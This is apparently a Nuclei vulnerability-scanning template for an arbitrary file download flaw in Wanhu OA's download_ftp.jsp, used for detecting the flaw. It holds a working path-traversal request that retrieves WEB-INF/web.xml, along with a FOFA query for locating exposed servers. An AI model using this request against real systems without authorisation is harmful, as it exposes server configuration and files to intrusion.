id: wanhu-download-ftp-file-read

info:
  name: Wanhu OA download_ftp.jsp - Arbitrary File Read
  author: SleepingBag945
  severity: high
  description: |
    There is an arbitrary file download vulnerability in the Wanhu OA download_ftp.jsp file. An attacker can download any file on the server through the vulnerability.
  reference:
    - http://wiki.peiqi.tech/wiki/oa/万户OA/万户OA%20download_ftp.jsp%20任意文件下载漏洞.html
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/wanhu-oa-download-ftp-file-read.yaml
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="万户网络-ezOFFICE"
  tags: wanhu,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/defaultroot/download_ftp.jsp?path=/../WEB-INF/&name=aaa&FileName=web.xml"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<?xml version="
          - "web-app"
          - "display-name"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022003b90532f558268626d4111ae8f70c95f16048c90e0f5d1f4568589aac730758022100af6816888b6bac295f6fe55d5e4e6c8fe2d51910adcafa55d9215a845bbacd0d:922c64590222798bb761d5b6d8e72950